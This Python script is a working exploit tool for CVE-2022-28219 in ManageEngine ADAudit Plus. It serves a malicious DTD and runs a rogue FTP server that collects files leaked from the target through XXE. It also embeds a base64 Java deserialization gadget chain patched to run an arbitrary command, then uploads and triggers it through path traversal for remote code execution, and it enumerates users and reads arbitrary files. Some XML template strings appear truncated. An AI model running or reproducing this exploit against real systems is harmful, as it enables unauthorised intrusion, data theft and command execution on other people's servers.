from argparse import ArgumentParser import http.server import socketserver from urllib.parse import urlparse from functools import partial import sys from time import sleep from threading import Thread from queue import Queue, Empty import requests import base64 import json import struct import random import string GET_FILE_OR_DIR_TEMPLATE = """[ {{ "DomainName": "{domain}", "EventCode": 4688, "EventType": 0, "TimeGenerated": 0, "Task Content": "\\"> %dtd;]>&send;" }} ]""" UPLOAD_JAR_TEMPLATE = """[ {{ "DomainName": "{domain}", "EventCode": 4688, "EventType": 0, "TimeGenerated": 0, "Task Content": " %xxe; ]>" }} ] """ FTP_RECV_QUEUE = Queue() WEB_RECV_QUEUE = Queue() WEB_COMMAND_QUEUE = Queue() WEB_RELEASE_QUEUE = Queue() # Web server used to host dtd and implement jar file upload # Based on: # https://github.com/pwntester/BlockingServer # https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf class WebHandler(http.server.BaseHTTPRequestHandler): def __init__(self, *args, dtd_payload=None, **kwargs): self._dtd_payload = dtd_payload self._command = None super().__init__(*args, **kwargs) def _generate_payload(self, command): # https://github.com/rapid7/metasploit-framework/blob/4cf3ae352c0ea2c52330950f518ea6c9eb0381c7/lib/msf/util/java_deserialization.rb#L12 # CommonsBeanutils1 length_offsets = [577, 1809] buffer_offset = 1810 payload = 'rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABtHK/rq+AAAAMwA/CgADACIHAD0HACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAQamF2YS9sYW5nL1N0cmluZwcAMAEAB2NtZC5leGUIADIBAAIvYwgANAEAAAgANgEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAA4ADkKACsAOgEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXIwMDAwMDAwMDAwMDAwMAEAH0x5c29zZXJpYWwvUHduZXIwMDAwMDAwMDAwMDAwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAwAA4AAAAMAAEAAAAFAA8APgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA1AA4AAAAgAAMAAAABAA8APgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA5AA4AAAAqAAQAAAABAA8APgAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAA1AAYAAgAAACCnAAMBTLgALwa9ADFZAxIzU1kEEjVTWQUSN1O2ADtXsQAAAAEAPAAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AEAAAAdTK/rq+AAAAMwAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA9AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+AA14' payload_bytes = bytearray(base64.b64decode(payload)) payload_bytes = payload_bytes[:buffer_offset] + command.encode() + payload_bytes[buffer_offset:] for l in length_offsets: length = struct.unpack('>H', payload_bytes[l-1:l+1])[0] length += len(command) payload_bytes[l-1:l+1] = struct.pack('>H', length) rand1 = ''.join([random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for i in range(0, 29)]) rand2 = ''.join([random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for i in range(0, 9)]) payload_bytes = payload_bytes.replace(b'ysoserial/Pwner00000000000000', rand1.encode()) payload_bytes = payload_bytes.replace(b'ysoserial', rand2.encode()) return bytes(payload_bytes) def do_GET(self): parsed = urlparse(self.path) if parsed.path.lower().strip() == '/data.dtd': self.send_response(200) self.end_headers() self.wfile.write(self._dtd_payload.encode()) return elif parsed.path.lower().strip().startswith('/upload.jar'): try: self._command = WEB_COMMAND_QUEUE.get(timeout=1) except: pass if not self._command: sys.stderr.write('No command to generate exploit payload\n') self.send_response(404) self.end_headers() else: print(f'HTTP Server: Generated payload for command: {self._command}') payload_bytes = self._generate_payload(self._command) self.send_response(200) self.send_header('Content-Type', 'application/java-archive') self.end_headers() self.wfile.write(payload_bytes) self.wfile.flush() print('HTTP Server: Blocking full transmission of jar file upload') WEB_RECV_QUEUE.put('Upload jar sent') try: WEB_RELEASE_QUEUE.get(timeout=300) except: pass else: sys.stderr.write(f'HTTP Server: No file for path {parsed.path}\n') self.send_response(404) self.end_headers() # XXE FTP exfil server # https://github.com/LandGrey/xxe-ftp-server # https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/python/xxe-server.py # https://staaldraad.github.io/2016/12/11/xxeftp/ class FTPHandler(socketserver.BaseRequestHandler): def _send_txt(self, s): print(f'FTP Server > {s}') self.request.sendall(s.encode() + b'\n') def _recv_text(self): ret = self.request.recv(4096).strip().decode(errors='ignore') print(f'FTP Server < {ret}') return ret def handle(self): self.request.settimeout(7) print(f'FTP Server: Received connection from {self.client_address[0]}') self._send_txt('220 FTP Server') added_to_queue = False recv_file = '' try: while True: data = self._recv_text() if data.startswith('CWD '): recv_file += data.lstrip('CWD ') + '/' if data.startswith('RETR '): recv_file += data.lstrip('RETR ') FTP_RECV_QUEUE.put(recv_file) added_to_queue = True elif 'LIST' in data: self._send_txt('drwxrwxrwx 1 owner group 1 Feb 21 01:11 rsl') self._send_txt('150 Opening BINARY mode data connection for /bin/ls') self._send_txt('226 Transfer complete.') elif 'USER' in data: self._send_txt('331 password please - version check') elif 'PORT' in data: self._send_txt('200 PORT command ok') elif 'SYST' in data: self._send_txt('215 RSL') elif data.startswith('QUIT'): print(f'Client closed connection, might be Java version >= 8u131') break else: self._send_txt('230 more data please!') except Exception as e: print(f'FTP Server: {e}\n') print (f'FTP Server: Connection from {self.client_address[0]} closed') if recv_file and not added_to_queue: FTP_RECV_QUEUE.put(recv_file) class ExploitClient: def __init__(self, target_url, domain, lhost, http_port): self._target_url = target_url self._agent_data_endpoint = target_url.rstrip('/') + '/api/agent/tabs/agentData' self._cewolf_endpoint = target_url.rstrip('/') + '/cewolf/logo.png' self._domain = domain self._lhost = lhost self._http_port = http_port def check_vulnerable(self): try: r = requests.get(self._cewolf_endpoint, timeout=20, verify=False) if r.status_code == 200 and 'Cewolf servlet up' in r.text: print(f'Exploit Client: Target {self._target_url} is vulnerable to CVE-2022-28219') return True except Exception as e: print(f'Exploit Client: Request to get {self._cewolf_endpoint} failed with exception {e}') print(f'Exploit Client: Target {self._target_url} is likely not vulnerable to CVE-2022-28219') return False def fetch(self, path): payload = GET_FILE_OR_DIR_TEMPLATE.format(domain=self._domain, path=path, lhost=self._lhost, lport=self._http_port) try: r = requests.post(self._agent_data_endpoint, json=json.loads(payload), verify=False, timeout=20) if r.status_code == 200: print(f'Exploit Client: Sent request to get {path}, got response: {r.text}') return True else: print(f'Exploit Client: Request to get {path} failed with code: {r.status_code} and response {r.text}') except Exception as e: print(f'Exploit Client: Request to get {path} failed with exception {e}') return False def upload_payload(self): payload = UPLOAD_JAR_TEMPLATE.format(domain=self._domain, lhost=self._lhost, lport=self._http_port) try: r = requests.post(self._agent_data_endpoint, json=json.loads(payload), verify=False, timeout=20) if r.status_code == 200: print(f'Exploit Client: Sent request to upload payload, got response {r.text}') return True else: print(f'Exploit Client: Request to upload payload failed with code: {r.status_code} and response {r.text}') except Exception as e: print(f'Exploit Client: Request to upload payload failed with exception {e}') return False def trigger_payload(self, path): try: # strip c:/ from beginning of path r = requests.get(f'{self._cewolf_endpoint}?img=/../../../../../../../../../../../../../{path}', verify=False, timeout=20) if r.status_code == 200: print(f'Exploit Client: Sent request to trigger payload at path {path}') return True else: print(f'Exploit Client: Request to trigger payload at path {path} failed with code: {r.status_code} and response {r.text}') except Exception as e: print(f'Exploit Client: Request to trigger payload at path {path} failed with exception {e}') return False def _start_server(server): try: t = Thread(target=server.serve_forever) t.daemon = True t.start() except Exception as e: sys.stderr.write(f'Error starting server: {e}\n') sys.exit(1) def _receive_data(timeout=15): try: data = FTP_RECV_QUEUE.get(timeout=timeout) return data except Empty: print('No data received') return None except Exception as e: sys.stderr.write(f'Unexpected error receiving data from FTP server: {e}\n') return None def _get_local_users(client): if client.fetch('/users/'): d = _receive_data() if not d: print(f'Failed to retrieve users') return [] users = [u.strip() for u in d.splitlines() if u.strip() and u.strip() not in ['Default', 'Default User', 'All Users', 'desktop.ini', 'Public']] if users: print(f'Found non-default users: {users}') else: print(f'Could not find any users') return users return [] def _upload_payload(client, timeout=30): if client.upload_payload(): try: WEB_RECV_QUEUE.get(timeout=timeout) return True except Empty: print('No data received') return False except Exception as e: sys.stderr.write(f'Unexpected error receiving data from web server: {e}\n') return False return False def _locate_payload(client, users): ret = [] paths = [] for u in users: if u.lower() == 'localsystem': paths += ['/windows/system32/config/systemprofile/appdata/local/temp/', '/windows/syswow64/config/systemprofile/appdata/local/temp/', '/windows/temp/'] else: paths.append(f'/users/{u}/appdata/local/temp/') # breadth first search in temp dirs while len(paths) > 0: if client.fetch(paths[0]): d = _receive_data() if d is not None: files = [f.strip() for f in d.splitlines()] for f in files: if f.lower().startswith('jar') and f.lower().endswith('.tmp'): ret.append(paths[0] + f) print(f'Found potential payload at {paths[0] + f}') elif not '.' in f.lower(): # exclude files paths.append(paths[0] + f + '/') if ret: return paths[0], ret else: print(f'Could not find payload at {paths[0]}') paths.remove(paths[0]) sleep(8) return None, ret def _get_file(client, path): if client.fetch(path): d = _receive_data() if not d: print(f'Failed to retrieve file at {path}') else: print(f'\n\n\n\nReceived file:\n\n{d}') return d return None def _run_exploit(client, users, command): # Upload the 'jar' file payload WEB_COMMAND_QUEUE.put(command) if not _upload_payload(client): return None sleep(8) # Locate the payload in one of the user's tmp directories _, payload_paths = _locate_payload(client, users) if not payload_paths: return None # Trigger payload - should just be one but there may be multiple, fire them all for p in payload_paths: client.trigger_payload(p) sleep(3) # gracefully close the connection to clean up the temp file on the server WEB_RELEASE_QUEUE.put('release') sleep(1) def _parse_args(): parser = ArgumentParser() parser.add_argument('-t', '--target', help='target URL with port', required=True) parser.add_argument('-l', '--lhost', help='local bind IP', required=True) parser.add_argument('-d', '--domain', help='fully qualified domain served by ADAudit Plus', required=True) parser.add_argument('-lhp', '--http-port', help='local HTTP port to bind to', default=8080, type=int) parser.add_argument('-lfp', '--ftp-port', help='local FTP port to bind to', default=2121, type=int) parser.add_argument('-f', '--file', help='get file or directory listing at given path, use forward slashes and don\'t include drive, e.g. /windows/win.ini or /users', required=False) parser.add_argument('-c', '--command', help='command to execute, e.g. calc.exe', required=False) parser.add_argument('-u', '--user', help='user running ADAudit Plus app, useful for finding upload file quickly', required=False) return parser.parse_args() def main(): args = _parse_args() if not args.file and not args.command: sys.stderr.write('Either the file or command arg must be set\n') sys.exit(1) elif args.file and args.command: sys.stderr.write('Only one of the file or command arg must be set\n') sys.exit(1) dtd_payload = """"> %all;""" dtd_payload = dtd_payload.format(args.lhost, args.ftp_port) _start_server(http.server.ThreadingHTTPServer( (args.lhost, args.http_port), partial(WebHandler, dtd_payload=dtd_payload))) _start_server( socketserver.TCPServer( (args.lhost, args.ftp_port), FTPHandler) ) client = ExploitClient(args.target, args.domain.lower(), args.lhost, args.http_port) try: if not client.check_vulnerable(): return if args.file: # if file arg is passed, just try to get the file and exit d = _get_file(client, args.file) return # else we're in command mode # let's grab a file first to check if XXE -> RCE is possible d = _get_file(client, '/windows/win.ini') if not d: print('Failed to leak /windows/win.ini file, XXE may not be exploitable to leak files (Java version >= 8u131') return # Fetch users, we need this to locate upload payload to trigger deserialization if args.user: users = [args.user] else: users = _get_local_users(client) if not users: print('No users found, using default list') users = ['administrator'] users.append('localsystem') sleep(8) _run_exploit(client, users, args.command) return except Exception as e: sys.stderr.write(f'Unexpected error: {e}\n') sys.exit(1) if __name__ == '__main__': main()